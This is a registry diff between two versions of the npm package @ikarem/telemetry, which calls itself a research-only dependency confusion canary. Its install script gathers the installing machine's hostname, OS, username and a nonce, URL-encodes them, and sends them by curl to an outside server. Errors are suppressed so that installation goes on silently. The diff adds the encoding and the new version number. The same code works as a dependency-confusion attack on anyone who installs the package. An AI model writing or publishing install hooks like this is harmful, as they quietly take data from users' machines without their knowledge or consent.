@ikarem/telemetry 100.1.8 → 100.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ikarem/telemetry",
3
- "version": "100.1.8",
3
+ "version": "100.1.9",
4
4
  "description": "Research-only dependency confusion canary package",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -7,7 +7,20 @@ OS=$(grep '^PRETTY_NAME' /etc/os-release | cut -d= -f2 | tr -d '"')
7
7
  USER=$(whoami)
8
8
  NONCE=$(head -c 12 /dev/urandom | base64 | tr -dc 'a-zA-Z0-9' | head -c 10)
9
9
 
10
- URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.3&event=$EVENT&hostname=$HOST&os=$OS&whoami=$USER&nonce=$NONCE"
10
+ # Function to URL-encode strings (handles spaces and special chars)
11
+ urlencode() {
12
+ # Use printf and sed to replace unsafe chars
13
+ printf '%s' "$1" | sed -e 's/ /%20/g' -e 's/"/%22/g' -e "s/'/%27/g"
14
+ }
15
+
16
+ ENC_HOST=$(urlencode "$HOST")
17
+ ENC_OS=$(urlencode "$OS")
18
+ ENC_USER=$(urlencode "$USER")
19
+ ENC_NONCE=$(urlencode "$NONCE")
20
+
21
+ URL="https://reproduce-supply-chain.ikarem.meraki.hexlsi.com/evidence?package=telemetry&ver=100.1.9&event=$EVENT&hostname=$ENC_HOST&os=$ENC_OS&whoami=$ENC_USER&nonce=$ENC_NONCE"
22
+
23
+ echo "Sending telemetry: $URL"
11
24
 
12
25
  # Send telemetry, ignore errors so install/update doesn’t break
13
26
  curl -fsS "$URL" || true